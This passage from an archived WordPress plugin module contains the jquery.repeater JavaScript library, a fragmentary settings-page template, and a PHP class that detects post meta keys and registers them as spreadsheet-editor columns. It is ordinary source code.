c.repeaters)}); var w = function(){var d = function(e, f, h){if (f || c.defaultValues){var i = {}; l(e.find("[name]"), h).each(function(){var b = a(this).attr("name").match(/\[([^\]]*)(\]|\]\[\])$/)[1]; i[b] = a(this).attr("name")}), e.inputVal(m(o(f || c.defaultValues, function(a, b){return i[b]}), b, function(a){return i[a]}))}u(h, e, function(b){var c = a(this); l(c.find("[data-repeater-item]"), b.repeaters).each(function(){var e = c.find("[data-repeater-list]").data("repeater-list"); if (f && f[e]){var h = a(this).clone(); c.find("[data-repeater-item]").remove(), g(f[e], function(a){var e = h.clone(); d(e, a, b.repeaters || []), c.find("[data-repeater-list]").append(e)})} else d(a(this), b.defaultValues, b.repeaters || [])})})}; return function(b, e){k.append(b), v(p(), s(), c.repeaters), b.find("[name]").each(function(){a(this).inputClear()}), d(b, e || c.defaultValues, c.repeaters)}}(), x = function(a){var b = q.clone(); w(b, a), c.repeaters && t(b), f.call(b.get(0))}; d = function(a){p().remove(), g(a, x)}, l(e.find("[data-repeater-create]"), c.repeaters).on('click', function(){x()}), k.on("click", "[data-repeater-delete]", function(){var b = a(this).closest("[data-repeater-item]").get(0); i.call(b, function(){a(b).remove(), v(p(), s(), c.repeaters)})})}), this.setList = d, this}}(jQuery);modules/custom-columns/assets/vendor/jquery.repeater/jquery.repeater.js000064400000055156147600365160022637 0ustar00;;;// jquery.repeater version 1.2.1 // https://github.com/DubFriend/jquery.repeater // (MIT) 09-10-2016 // Brian Detering (http://www.briandetering.net/) (function ($) { 'use strict'; var identity = function (x) { return x; }; var isArray = function (value) { return $.isArray(value); }; var isObject = function (value) { return !isArray(value) && (value instanceof Object); }; var isNumber = function (value) { return value instanceof Number; }; var isFunction = function (value) { return value instanceof Function; }; var indexOf = function (object, value) { return $.inArray(value, object); }; var inArray = function (array, value) { return indexOf(array, value) !== -1; }; var foreach = function (collection, callback) { for (var i in collection) { if (collection.hasOwnProperty(i)) { callback(collection[i], i, collection); } } }; var last = function (array) { return array[array.length - 1]; }; var argumentsToArray = function (args) { return Array.prototype.slice.call(args); }; var extend = function () { var extended = {}; foreach(argumentsToArray(arguments), function (o) { foreach(o, function (val, key) { extended[key] = val; }); }); return extended; }; var mapToArray = function (collection, callback) { var mapped = []; foreach(collection, function (value, key, coll) { mapped.push(callback(value, key, coll)); }); return mapped; }; var mapToObject = function (collection, callback, keyCallback) { var mapped = {}; foreach(collection, function (value, key, coll) { key = keyCallback ? keyCallback(key, value) : key; mapped[key] = callback(value, key, coll); }); return mapped; }; var map = function (collection, callback, keyCallback) { return isArray(collection) ? mapToArray(collection, callback) : mapToObject(collection, callback, keyCallback); }; var pluck = function (arrayOfObjects, key) { return map(arrayOfObjects, function (val) { return val[key]; }); }; var filter = function (collection, callback) { var filtered; if (isArray(collection)) { filtered = []; foreach(collection, function (val, key, coll) { if (callback(val, key, coll)) { filtered.push(val); } }); } else { filtered = {}; foreach(collection, function (val, key, coll) { if (callback(val, key, coll)) { filtered[key] = val; } }); } return filtered; }; var call = function (collection, functionName, args) { return map(collection, function (object, name) { return object[functionName].apply(object, args || []); }); }; //execute callback immediately and at most one time on the minimumInterval, //ignore block attempts var throttle = function (minimumInterval, callback) { var timeout = null; return function () { var that = this, args = arguments; if (timeout === null) { timeout = setTimeout(function () { timeout = null; }, minimumInterval); callback.apply(that, args); } }; }; var mixinPubSub = function (object) { object = object || {}; var topics = {}; object.publish = function (topic, data) { foreach(topics[topic], function (callback) { callback(data); }); }; object.subscribe = function (topic, callback) { topics[topic] = topics[topic] || []; topics[topic].push(callback); }; object.unsubscribe = function (callback) { foreach(topics, function (subscribers) { var index = indexOf(subscribers, callback); if (index !== -1) { subscribers.splice(index, 1); } }); }; return object; }; // jquery.input version 0.0.0 // https://github.com/DubFriend/jquery.input // (MIT) 09-04-2014 // Brian Detering (http://www.briandetering.net/) (function ($) { 'use strict'; var createBaseInput = function (fig, my) { var self = mixinPubSub(), $self = fig.$; self.getType = function () { throw 'implement me (return type. "text", "radio", etc.)'; }; self.$ = function (selector) { return selector ? $self.find(selector) : $self; }; self.disable = function () { self.$().prop('disabled', true); self.publish('isEnabled', false); }; self.enable = function () { self.$().prop('disabled', false); self.publish('isEnabled', true); }; my.equalTo = function (a, b) { return a === b; }; my.publishChange = (function () { var oldValue; return function (e, domElement) { var newValue = self.get(); if (!my.equalTo(newValue, oldValue)) { self.publish('change', {e: e, domElement: domElement}); } oldValue = newValue; }; }()); return self; }; var createInput = function (fig, my) { var self = createBaseInput(fig, my); self.get = function () { return self.$().val(); }; self.set = function (newValue) { self.$().val(newValue); }; self.clear = function () { self.set(''); }; my.buildSetter = function (callback) { return function (newValue) { callback.call(self, newValue); }; }; return self; }; var inputEqualToArray = function (a, b) { a = isArray(a) ? a : [a]; b = isArray(b) ? b : [b]; var isEqual = true; if (a.length !== b.length) { isEqual = false; } else { foreach(a, function (value) { if (!inArray(b, value)) { isEqual = false; } }); } return isEqual; }; var createInputButton = function (fig) { var my = {}, self = createInput(fig, my); self.getType = function () { return 'button'; }; self.$().on('change', function (e) { my.publishChange(e, this); }); return self; }; var createInputCheckbox = function (fig) { var my = {}, self = createInput(fig, my); self.getType = function () { return 'checkbox'; }; self.get = function () { var values = []; self.$().filter(':checked').each(function () { values.push($(this).val()); }); return values; }; self.set = function (newValues) { newValues = isArray(newValues) ? newValues : [newValues]; self.$().each(function () { $(this).prop('checked', false); }); foreach(newValues, function (value) { self.$().filter('[value="' + value + '"]') .prop('checked', true); }); }; my.equalTo = inputEqualToArray; self.$().change(function (e) { my.publishChange(e, this); }); return self; }; var createInputEmail = function (fig) { var my = {}, self = createInputText(fig, my); self.getType = function () { return 'email'; }; return self; }; var createInputFile = function (fig) { var my = {}, self = createBaseInput(fig, my); self.getType = function () { return 'file'; }; self.get = function () { return last(self.$().val().split('\\')); }; self.clear = function () { // http://stackoverflow.com/questions/1043957/clearing-input-type-file-using-jquery this.$().each(function () { $(this).wrap('').closest('form').get(0).reset(); $(this).unwrap(); }); }; self.$().change(function (e) { my.publishChange(e, this); // self.publish('change', self); }); return self; }; var createInputHidden = function (fig) { var my = {}, self = createInput(fig, my); self.getType = function () { return 'hidden'; }; self.$().change(function (e) { my.publishChange(e, this); }); return self; }; var createInputMultipleFile = function (fig) { var my = {}, self = createBaseInput(fig, my); self.getType = function () { return 'file[multiple]'; }; self.get = function () { // http://stackoverflow.com/questions/14035530/how-to-get-value-of-html-5-multiple-file-upload-variable-using-jquery var fileListObject = self.$().get(0).files || [], names = [], i; for (i = 0; i < (fileListObject.length || 0); i += 1) { names.push(fileListObject[i].name); } return names; }; self.clear = function () { // http://stackoverflow.com/questions/1043957/clearing-input-type-file-using-jquery this.$().each(function () { $(this).wrap('').closest('form').get(0).reset(); $(this).unwrap(); }); }; self.$().change(function (e) { my.publishChange(e, this); }); return self; }; var createInputMultipleSelect = function (fig) { var my = {}, self = createInput(fig, my); self.getType = function () { return 'select[multiple]'; }; self.get = function () { return self.$().val() || []; }; self.set = function (newValues) { self.$().val( newValues === '' ? [] : isArray(newValues) ? newValues : [newValues] ); }; my.equalTo = inputEqualToArray; self.$().change(function (e) { my.publishChange(e, this); }); return self; }; var createInputPassword = function (fig) { var my = {}, self = createInputText(fig, my); self.getType = function () { return 'password'; }; return self; }; var createInputRadio = function (fig) { var my = {}, self = createInput(fig, my); self.getType = function () { return 'radio'; }; self.get = function () { return self.$().filter(':checked').val() || null; }; self.set = function (newValue) { if (!newValue) { self.$().each(function () { $(this).prop('checked', false); }); } else { self.$().filter('[value="' + newValue + '"]').prop('checked', true); } }; self.$().change(function (e) { my.publishChange(e, this); }); return self; }; var createInputRange = function (fig) { var my = {}, self = createInput(fig, my); self.getType = function () { return 'range'; }; self.$().change(function (e) { my.publishChange(e, this); }); return self; }; var createInputSelect = function (fig) { var my = {}, self = createInput(fig, my); self.getType = function () { return 'select'; }; self.$().change(function (e) { my.publishChange(e, this); }); return self; }; var createInputText = function (fig) { var my = {}, self = createInput(fig, my); self.getType = function () { return 'text'; }; self.$().on('change keyup keydown', function (e) { my.publishChange(e, this); }); return self; }; var createInputTextarea = function (fig) { var my = {}, self = createInput(fig, my); self.getType = function () { return 'textarea'; }; self.$().on('change keyup keydown', function (e) { my.publishChange(e, this); }); return self; }; var createInputURL = function (fig) { var my = {}, self = createInputText(fig, my); self.getType = function () { return 'url'; }; return self; }; var buildFormInputs = function (fig) { var inputs = {}, $self = fig.$; var constructor = fig.constructorOverride || { button: createInputButton, text: createInputText, url: createInputURL, email: createInputEmail, password: createInputPassword, range: createInputRange, textarea: createInputTextarea, select: createInputSelect, 'select[multiple]': createInputMultipleSelect, radio: createInputRadio, checkbox: createInputCheckbox, file: createInputFile, 'file[multiple]': createInputMultipleFile, hidden: createInputHidden }; var addInputsBasic = function (type, selector) { var $input = isObject(selector) ? selector : $self.find(selector); $input.each(function () { var name = $(this).attr('name'); inputs[name] = constructor[type]({ $: $(this) }); }); }; var addInputsGroup = function (type, selector) { var names = [], $input = isObject(selector) ? selector : $self.find(selector); if (isObject(selector)) { inputs[$input.attr('name')] = constructor[type]({ $: $input }); } else { // group by name attribute $input.each(function () { if (indexOf(names, $(this).attr('name')) === -1) { names.push($(this).attr('name')); } }); foreach(names, function (name) { inputs[name] = constructor[type]({ $: $self.find('input[name="' + name + '"]') }); }); } }; if ($self.is('input, select, textarea')) { if ($self.is('input[type="button"], button, input[type="submit"]')) { addInputsBasic('button', $self); } else if ($self.is('textarea')) { addInputsBasic('textarea', $self); } else if ( $self.is('input[type="text"]') || $self.is('input') && !$self.attr('type') ) { addInputsBasic('text', $self); } else if ($self.is('input[type="password"]')) { addInputsBasic('password', $self); } else if ($self.is('input[type="email"]')) { addInputsBasic('email', $self); } else if ($self.is('input[type="url"]')) { addInputsBasic('url', $self); } else if ($self.is('input[type="range"]')) { addInputsBasic('range', $self); } else if ($self.is('select')) { if ($self.is('[multiple]')) { addInputsBasic('select[multiple]', $self); } else { addInputsBasic('select', $self); } } else if ($self.is('input[type="file"]')) { if ($self.is('[multiple]')) { addInputsBasic('file[multiple]', $self); } else { addInputsBasic('file', $self); } } else if ($self.is('input[type="hidden"]')) { addInputsBasic('hidden', $self); } else if ($self.is('input[type="radio"]')) { addInputsGroup('radio', $self); } else if ($self.is('input[type="checkbox"]')) { addInputsGroup('checkbox', $self); } else { //in all other cases default to a "text" input interface. addInputsBasic('text', $self); } } else { addInputsBasic('button', 'input[type="button"], button, input[type="submit"]'); addInputsBasic('text', 'input[type="text"]'); addInputsBasic('password', 'input[type="password"]'); addInputsBasic('email', 'input[type="email"]'); addInputsBasic('url', 'input[type="url"]'); addInputsBasic('range', 'input[type="range"]'); addInputsBasic('textarea', 'textarea'); addInputsBasic('select', 'select:not([multiple])'); addInputsBasic('select[multiple]', 'select[multiple]'); addInputsBasic('file', 'input[type="file"]:not([multiple])'); addInputsBasic('file[multiple]', 'input[type="file"][multiple]'); addInputsBasic('hidden', 'input[type="hidden"]'); addInputsGroup('radio', 'input[type="radio"]'); addInputsGroup('checkbox', 'input[type="checkbox"]'); } return inputs; }; $.fn.inputVal = function (newValue) { var $self = $(this); var inputs = buildFormInputs({$: $self}); if ($self.is('input, textarea, select')) { if (typeof newValue === 'undefined') { return inputs[$self.attr('name')].get(); } else { inputs[$self.attr('name')].set(newValue); return $self; } } else { if (typeof newValue === 'undefined') { return call(inputs, 'get'); } else { foreach(newValue, function (value, inputName) { inputs[inputName].set(value); }); return $self; } } }; $.fn.inputOnChange = function (callback) { var $self = $(this); var inputs = buildFormInputs({$: $self}); foreach(inputs, function (input) { input.subscribe('change', function (data) { callback.call(data.domElement, data.e); }); }); return $self; }; $.fn.inputDisable = function () { var $self = $(this); call(buildFormInputs({$: $self}), 'disable'); return $self; }; $.fn.inputEnable = function () { var $self = $(this); call(buildFormInputs({$: $self}), 'enable'); return $self; }; $.fn.inputClear = function () { var $self = $(this); call(buildFormInputs({$: $self}), 'clear'); return $self; }; }(jQuery)); $.fn.repeaterVal = function () { var parse = function (raw) { var parsed = []; foreach(raw, function (val, key) { var parsedKey = []; if (key !== "undefined") { parsedKey.push(key.match(/^[^\[]*/)[0]); parsedKey = parsedKey.concat(map( key.match(/\[[^\]]*\]/g), function (bracketed) { return bracketed.replace(/[\[\]]/g, ''); } )); parsed.push({ val: val, key: parsedKey }); } }); return parsed; }; var build = function (parsed) { if ( parsed.length === 1 && (parsed[0].key.length === 0 || parsed[0].key.length === 1 && !parsed[0].key[0]) ) { return parsed[0].val; } foreach(parsed, function (p) { p.head = p.key.shift(); }); var grouped = (function () { var grouped = {}; foreach(parsed, function (p) { if (!grouped[p.head]) { grouped[p.head] = []; } grouped[p.head].push(p); }); return grouped; }()); var built; if (/^[0-9]+$/.test(parsed[0].head)) { built = []; foreach(grouped, function (group) { built.push(build(group)); }); } else { built = {}; foreach(grouped, function (group, key) { built[key] = build(group); }); } return built; }; return build(parse($(this).inputVal())); }; $.fn.repeater = function (fig) { fig = fig || {}; var setList; $(this).each(function () { var $self = $(this); var show = fig.show || function () { $(this).show(); }; var hide = fig.hide || function (removeElement) { removeElement(); }; var $list = $self.find('[data-repeater-list]').first(); var $filterNested = function ($items, repeaters) { return $items.filter(function () { return repeaters ? $(this).closest( pluck(repeaters, 'selector').join(',') ).length === 0 : true; }); }; var $items = function () { return $filterNested($list.find('[data-repeater-item]'), fig.repeaters); }; var $itemTemplate = $list.find('[data-repeater-item]') .first().clone().hide(); var $firstDeleteButton = $filterNested( $filterNested($(this).find('[data-repeater-item]'), fig.repeaters) .first().find('[data-repeater-delete]'), fig.repeaters ); if (fig.isFirstItemUndeletable && $firstDeleteButton) { $firstDeleteButton.remove(); } var getGroupName = function () { var groupName = $list.data('repeater-list'); return fig.$parent ? fig.$parent.data('item-name') + '[' + groupName + ']' : groupName; }; var initNested = function ($listItems) { if (fig.repeaters) { $listItems.each(function () { var $item = $(this); foreach(fig.repeaters, function (nestedFig) { $item.find(nestedFig.selector).repeater(extend( nestedFig, {$parent: $item} )); }); }); } }; var $foreachRepeaterInItem = function (repeaters, $item, cb) { if (repeaters) { foreach(repeaters, function (nestedFig) { cb.call($item.find(nestedFig.selector)[0], nestedFig); }); } }; var setIndexes = function ($items, groupName, repeaters) { $items.each(function (index) { var $item = $(this); $item.data('item-name', groupName + '[' + index + ']'); $filterNested($item.find('[name]'), repeaters) .each(function () { var $input = $(this); // match non empty brackets (ex: "[foo]") var matches = $input.attr('name').match(/\[[^\]]+\]/g); var name = matches ? // strip "[" and "]" characters last(matches).replace(/\[|\]/g, '') : $input.attr('name'); var newName = groupName + '[' + index + '][' + name + ']' + ($input.is(':checkbox') || $input.attr('multiple') ? '[]' : ''); $input.attr('name', newName); $foreachRepeaterInItem(repeaters, $item, function (nestedFig) { var $repeater = $(this); setIndexes( $filterNested($repeater.find('[data-repeater-item]'), nestedFig.repeaters || []), groupName + '[' + index + ']' + '[' + $repeater.find('[data-repeater-list]').first().data('repeater-list') + ']', nestedFig.repeaters ); }); }); }); $list.find('input[name][checked]') .removeAttr('checked') .prop('checked', true); }; setIndexes($items(), getGroupName(), fig.repeaters); initNested($items()); if (fig.initEmpty) { $items().remove(); } if (fig.ready) { fig.ready(function () { setIndexes($items(), getGroupName(), fig.repeaters); }); } var appendItem = (function () { var setItemsValues = function ($item, data, repeaters) { if (data || fig.defaultValues) { var inputNames = {}; $filterNested($item.find('[name]'), repeaters).each(function () { var key = $(this).attr('name').match(/\[([^\]]*)(\]|\]\[\])$/)[1]; inputNames[key] = $(this).attr('name'); }); $item.inputVal(map( filter(data || fig.defaultValues, function (val, name) { return inputNames[name]; }), identity, function (name) { return inputNames[name]; } )); } $foreachRepeaterInItem(repeaters, $item, function (nestedFig) { var $repeater = $(this); $filterNested( $repeater.find('[data-repeater-item]'), nestedFig.repeaters ) .each(function () { var fieldName = $repeater.find('[data-repeater-list]').data('repeater-list'); if (data && data[fieldName]) { var $template = $(this).clone(); $repeater.find('[data-repeater-item]').remove(); foreach(data[fieldName], function (data) { var $item = $template.clone(); setItemsValues( $item, data, nestedFig.repeaters || [] ); $repeater.find('[data-repeater-list]').append($item); }); } else { setItemsValues( $(this), nestedFig.defaultValues, nestedFig.repeaters || [] ); } }); }); }; return function ($item, data) { $list.append($item); setIndexes($items(), getGroupName(), fig.repeaters); $item.find('[name]').each(function () { $(this).inputClear(); }); setItemsValues($item, data || fig.defaultValues, fig.repeaters); }; }()); var addItem = function (data) { var $item = $itemTemplate.clone(); appendItem($item, data); if (fig.repeaters) { initNested($item); } show.call($item.get(0)); }; setList = function (rows) { $items().remove(); foreach(rows, addItem); }; $filterNested($self.find('[data-repeater-create]'), fig.repeaters).on('click', function () { addItem(); }); $list.on('click', '[data-repeater-delete]', function () { var self = $(this).closest('[data-repeater-item]').get(0); hide.call(self, function () { $(self).remove(); setIndexes($items(), getGroupName(), fig.repeaters); }); }); }); this.setList = setList; return this; }; }(jQuery));modules/custom-columns/views/settings-page.php000064400000026456147600365160015651 0ustar00

    View Tutorial', 'vg_sheet_editor' ), 'https://www.youtube.com/watch?v=fxzVgzjhdR0'); ?>

    key, array()); if (empty($columns)) { $columns[] = $this->default_column_settings; } foreach ($columns as $column_index => $column_settings) { ?>
    helpers->get_allowed_post_types(); if (!is_array($column_settings['post_types'])) { $column_settings['post_types'] = array($column_settings['post_types']); } if (!empty($post_types)) { foreach ($post_types as $key => $post_type_name) { if (is_numeric($key)) { $key = $post_type_name; } ?>
    >
    />
    />
    />
    />
    init(); } return self::$instance; } public function init() { $this->default_column_settings = array( 'name' => '', 'key' => '', 'data_source' => 'post_meta', 'post_types' => 'post', 'read_only' => 'no', 'allow_formulas' => 'yes', 'allow_hide' => 'yes', 'allow_rename' => 'yes', 'plain_renderer' => 'text', 'formatted_renderer' => 'text', 'width' => '150', 'cell_type' => '', ); $this->required_column_settings = array( 'name', 'key', 'data_source', 'post_types', ); $this->bool_column_settings = array( 'read_only', 'allow_formulas', 'allow_hide', 'allow_rename', ); $this->true_default_column_settings = array( 'allow_formulas' => 'yes', 'allow_hide' => 'yes', 'allow_rename' => 'yes', ); add_action( 'admin_menu', array( $this, 'register_menu_page' ), 99 ); add_action( 'vg_sheet_editor/after_enqueue_assets', array( $this, 'register_frontend_assets' ) ); add_action( 'wp_ajax_vgse_save_columns', array( $this, 'save_columns' ) ); add_action( 'wp_ajax_vgse_rename_meta_key', array( $this, 'rename_meta_key' ) ); add_action( 'wp_ajax_vgse_delete_meta_key', array( $this, 'delete_meta_key' ) ); // We use priority 40 to overwrite any column through the UI add_action( 'vg_sheet_editor/editor/register_columns', array( $this, 'register_columns' ), 40 ); add_action( 'vg_sheet_editor/editor/before_init', array( $this, 'register_toolbar_items' ) ); // CORE columns are registered automatically without the hook. // Here we use priority 8 to register the automatic columns early and other // modules/plugins will just overwrite them add_action( 'vg_sheet_editor/editor/register_columns', array( $this, 'register_columns_automatically' ), 8 ); } /** * Allow letters, numbers, spaces, and () * @param string $input * @return string */ public function _convert_key_to_label( $input ) { return ucwords( trim( str_replace( array( '-', '_' ), ' ', preg_replace( '/[^a-zA-Z0-9\:\.\-\_\s\(\)]/', '', $input ) ) ) ); } /** * Register spreadsheet columns */ public function register_columns_automatically( $editor ) { $post_type = $editor->args['provider']; // Only do this once per post type if ( in_array( $post_type, $this->automatic_column_post_types_initialized ) ) { return; } if ( function_exists( 'WPSE_Profiler_Obj' ) ) { WPSE_Profiler_Obj()->record( 'Start ' . __FUNCTION__ ); } $this->automatic_column_post_types_initialized[] = $post_type; $transient_key = 'vgse_detected_fields_' . $post_type; $columns_detected = get_transient( $transient_key ); // Clear cache on demand if ( method_exists( VGSE()->helpers, 'can_rescan_db_fields' ) && VGSE()->helpers->can_rescan_db_fields( $post_type ) ) { $columns_detected = false; // Increase columns limit every time we rescan if ( empty( $_GET['wpse_dont_increase_limit'] ) ) { VGSE()->update_option( 'be_columns_limit', VGSE()->helpers->get_columns_limit() + 300 ); } } if ( empty( $columns_detected ) ) { // We will process meta keys limited to the columns limit+200 // we can't limit to the columns limit because sometimes columns are blacklisted and we miss good columns $meta_keys = apply_filters( 'vg_sheet_editor/custom_columns/all_meta_keys', VGSE()->helpers->get_all_meta_keys( $post_type, VGSE()->helpers->get_columns_limit() + 200 ), $post_type, $editor ); $this->found_columns[ $post_type ] = array(); $columns_detected = array( 'serialized' => array(), 'normal' => array(), ); $post_types_for_sample_values = apply_filters( 'vg_sheet_editor/custom_columns/post_type_for_sample_values', array( $post_type ), $meta_keys, $editor ); foreach ( $meta_keys as $meta_key ) { // Fields with numbers as keys are not compatible because PHP // messes up the number indexes when arrays are merged if ( is_numeric( $meta_key ) ) { continue; } $blacklisted = $editor->args['columns']->is_column_blacklisted( $meta_key, $post_type ); if ( $blacklisted ) { $editor->args['columns']->add_rejection( $meta_key, 'blacklisted_by_pattern : ' . $blacklisted, $post_type ); continue; } $label = $this->_convert_key_to_label( $meta_key ); $this->found_columns[ $post_type ][ $label ] = $meta_key; $detected_type = $this->detect_column_type( $meta_key, $editor, $post_types_for_sample_values ); if ( empty( $detected_type ) ) { continue; } if ( $detected_type['type'] === 'serialized' ) { $columns_detected['serialized'][ $meta_key ] = array( 'sample_field_key' => $meta_key, 'sample_field' => $detected_type['sample_field'], 'column_width' => 175, 'column_title_prefix' => $label, // to remove the field key from the column title 'level' => ( $detected_type['is_single_level'] ) ? 3 : count( $detected_type['sample_field'] ), 'allowed_post_types' => array( $post_type ), 'is_single_level' => $detected_type['is_single_level'], 'allow_in_wc_product_variations' => false, 'wpse_source' => 'custom_columns', 'column_settings' => array( 'allow_custom_format' => true, ), 'detected_type' => $detected_type, ); } elseif ( $detected_type['type'] === 'infinite_serialized' ) { $columns_detected['infinite_serialized'][ $meta_key ] = array_merge( $detected_type, array( 'sample_field_key' => $meta_key, 'allowed_post_types' => array( $post_type ), 'allow_in_wc_product_variations' => false, 'wpse_source' => 'custom_columns', 'column_settings' => array( 'allow_custom_format' => true, ), 'detected_type' => $detected_type, ) ); } else { if ( $editor->args['columns']->has_item( $meta_key, $post_type ) ) { continue; } $column_settings = array( 'data_type' => 'meta_data', 'unformatted' => array( 'data' => $meta_key ), 'title' => $label, 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'data' => $meta_key ), 'allow_to_hide' => true, 'allow_to_rename' => true, 'allow_to_save' => true, 'allow_custom_format' => true, 'detected_type' => $detected_type, ); if ( $detected_type['type'] === 'checkbox' ) { $column_settings['formatted']['type'] = 'checkbox'; $column_settings['formatted']['checkedTemplate'] = $detected_type['positive_value']; $column_settings['formatted']['uncheckedTemplate'] = $detected_type['negative_value']; $column_settings['default_value'] = $detected_type['negative_value']; } $columns_detected['normal'][ $meta_key ] = $column_settings; } } $columns_detected = apply_filters( 'vg_sheet_editor/custom_columns/columns_detected_settings_before_cache', $columns_detected, $post_type ); $total_rows = (int) $editor->provider->get_total( $post_type ); // If the spreadsheet has < 200 rows in total, we refresh the automatic columns more often $cache_expiration = VGSE()->helpers->columns_cache_expiration( $total_rows ); set_transient( $transient_key, $columns_detected, $cache_expiration ); update_option( $transient_key . '_updated', current_time( 'timestamp' ) ); } $columns_detected = apply_filters( 'vg_sheet_editor/custom_columns/columns_detected_settings', $columns_detected, $post_type ); if ( function_exists( 'WPSE_Profiler_Obj' ) ) { WPSE_Profiler_Obj()->record( 'Before registering serialized field ' . __FUNCTION__ ); } if ( ! empty( $columns_detected['normal'] ) ) { foreach ( $columns_detected['normal'] as $column_key => $column_settings ) { $editor->args['columns']->register_item( $column_key, $post_type, $column_settings ); } } if ( ! empty( $columns_detected['serialized'] ) && method_exists( $editor->args['columns'], 'columns_limit_reached' ) && ! $editor->args['columns']->columns_limit_reached( $post_type ) ) { foreach ( $columns_detected['serialized'] as $column_key => $column_settings ) { new WP_Sheet_Editor_Serialized_Field( $column_settings ); } } else { foreach ( $columns_detected['serialized'] as $column_key => $column_settings ) { $editor->args['columns']->add_rejection( $column_key, 'columns_limit_reached', $post_type ); } } if ( ! empty( $columns_detected['infinite_serialized'] ) && method_exists( $editor->args['columns'], 'columns_limit_reached' ) && ! $editor->args['columns']->columns_limit_reached( $post_type ) ) { foreach ( $columns_detected['infinite_serialized'] as $column_key => $column_settings ) { new WP_Sheet_Editor_Infinite_Serialized_Field( $column_settings ); } } else { foreach ( $columns_detected['serialized'] as $column_key => $column_settings ) { $editor->args['columns']->add_rejection( $column_key, 'columns_limit_reached', $post_type ); } } if ( function_exists( 'WPSE_Profiler_Obj' ) ) { WPSE_Profiler_Obj()->record( 'End ' . __FUNCTION__ ); } } public function _is_not_object( $value ) { return ! is_object( $value ); } public function detect_column_type( $meta_key, $editor, $post_types_for_sample_values = array() ) { $values = array(); // If we have multiple post types to check, we'll use the sample values from the first post type that has values foreach ( $post_types_for_sample_values as $post_type ) { $post_type_values = array_map( 'maybe_unserialize', $editor->provider->get_meta_field_unique_values( $meta_key, $post_type ) ); if ( ! empty( $post_type_values ) ) { $values = $post_type_values; break; } } $values_without_objects = array_filter( $values, array( $this, '_is_not_object' ) ); // Don't register columns that have objects as values if ( count( $values ) > count( $values_without_objects ) ) { return false; } $out = array( 'type' => 'text', 'positive_value' => '', 'negative_value' => '', 'sample_values' => $values, ); $positive_values = array(); $negative_values = array(); $forced_infinite_serialized_handler = isset( VGSE()->options['keys_for_infinite_serialized_handler'] ) ? array_map( 'trim', explode( ',', VGSE()->options['keys_for_infinite_serialized_handler'] ) ) : array(); if ( ! empty( VGSE()->options['serialized_field_post_templates'] ) && empty( $this->serialized_field_templates ) ) { $serialized_fields = array_map( 'trim', explode( ',', VGSE()->options['serialized_field_post_templates'] ) ); foreach ( $serialized_fields as $serialized_field ) { $template_parts = array_map( 'trim', explode( ':', $serialized_field ) ); if ( count( $template_parts ) !== 2 ) { continue; } $this->serialized_field_templates[ current( $template_parts ) ] = (int) end( $template_parts ); } } $serialized_field_templates = $this->serialized_field_templates; if ( isset( $serialized_field_templates[ $meta_key ] ) ) { $template_serialized_value = $editor->provider->get_item_meta( $serialized_field_templates[ $meta_key ], $meta_key, true, 'read' ); } foreach ( $values as $value_index => $value ) { if ( is_array( $value ) ) { if ( ! empty( VGSE()->options['be_disable_serialized_columns'] ) || ! apply_filters( 'vg_sheet_editor/serialized_addon/is_enabled', true ) ) { continue; } $array_level = $this->_array_depth( $value ); if ( ! empty( $value ) ) { if ( ! empty( $template_serialized_value ) ) { $value = $template_serialized_value; } else { // If we have multiple array samples, merge 4 samples so we have // a more complete array sample that probably includes all the possible subfields if ( $array_level > 1 && count( $values ) > 1 ) { if ( isset( $values[2] ) && isset( $values[3] ) && is_array( $values[2] ) && is_array( $values[3] ) ) { $values[2] = array_merge( $values[3], $values[2] ); } if ( isset( $values[1] ) && isset( $values[2] ) && is_array( $values[1] ) && is_array( $values[2] ) ) { $values[1] = array_merge( $values[2], $values[1] ); } if ( isset( $values[1] ) && is_array( $values[1] ) ) { $value = array_merge( $values[1], $value ); } } } if ( $array_level < 3 && $this->_array_depth_uniform( $value ) && ! in_array( $meta_key, $forced_infinite_serialized_handler, true ) ) { $out['type'] = 'serialized'; $out['is_single_level'] = $array_level === 1; if ( $array_level === 1 ) { $out['sample_field'] = ( is_numeric( implode( '', array_keys( $value ) ) ) ) ? array( '' ) : array_fill_keys( array_keys( $value ), '' ); } else { $out['sample_field'] = array(); foreach ( $value as $row ) { if ( is_array( $row ) ) { $out['sample_field'][] = array_fill_keys( array_keys( $row ), '' ); } } } } else { $out['type'] = 'infinite_serialized'; $out['serialization_level'] = $array_level; $out['sample_field'] = $value; } break; } else { $out = array(); } } else { if ( in_array( $value, array( '1', 1, 'yes', true, 'true', 'on' ), true ) ) { $positive_values[] = $value; } elseif ( in_array( $value, array( '0', 0, 'no', false, 'false', null, 'null', 'off', '' ), true ) ) { $negative_values[] = (string) $value; } } } if ( count( $positive_values ) === 1 ) { $out['type'] = 'checkbox'; $out['positive_value'] = current( $positive_values ); $out['negative_value'] = ( empty( $negative_values ) ) ? '0' : current( $negative_values ); } return apply_filters( 'vg_sheet_editor/custom_columns/column_type', $out, $meta_key, $editor ); } public function _array_depth_uniform( array $array ) { $first_item = current( $array ); if ( ! is_array( $first_item ) ) { return true; } $depth = $this->_array_depth( $first_item ); $out = true; foreach ( $array as $value ) { if ( is_array( $value ) ) { $new_depth = $this->_array_depth( $value ); if ( $new_depth !== $depth ) { $out = false; break; } } } return $out; } public function _array_depth( array $array ) { $max_depth = 1; foreach ( $array as $value ) { if ( is_array( $value ) ) { $depth = $this->_array_depth( $value ) + 1; if ( $depth > $max_depth ) { $max_depth = $depth; } } } return $max_depth; } public function get_all_registered_columns_keys() { $out = array(); foreach ( VGSE()->editors as $provider_key => $editor ) { $columns = $editor->args['columns']->get_items(); foreach ( $columns as $post_type => $columns ) { $out = array_unique( array_merge( $out, array_keys( $columns ) ) ); } } return $out; } /** * Register toolbar item */ public function register_toolbar_items( $editor ) { if ( ! VGSE()->helpers->user_can_manage_options() ) { return; } $post_types = $editor->args['enabled_post_types']; foreach ( $post_types as $post_type ) { $editor->args['toolbars']->register_item( 'add_columns', array( 'type' => 'button', 'content' => __( 'Add columns for custom fields', 'vg_sheet_editor' ), 'icon' => 'fa fa-plus', 'url' => admin_url( 'admin.php?page=' . $this->key ), 'toolbar_key' => 'secondary', 'allow_in_frontend' => false, 'parent' => 'settings', ), $post_type ); } } public function register_columns( $editor ) { $columns = get_option( $this->key, array() ); if ( empty( $columns ) ) { return; } foreach ( $columns as $column_index => $column_settings ) { if ( ! is_array( $column_settings['post_types'] ) ) { $column_settings['post_types'] = array( $column_settings['post_types'] ); } foreach ( $column_settings['post_types'] as $post_type ) { if ( $editor->provider->key === 'user' && 'user' !== $post_type ) { continue; } if ( ! 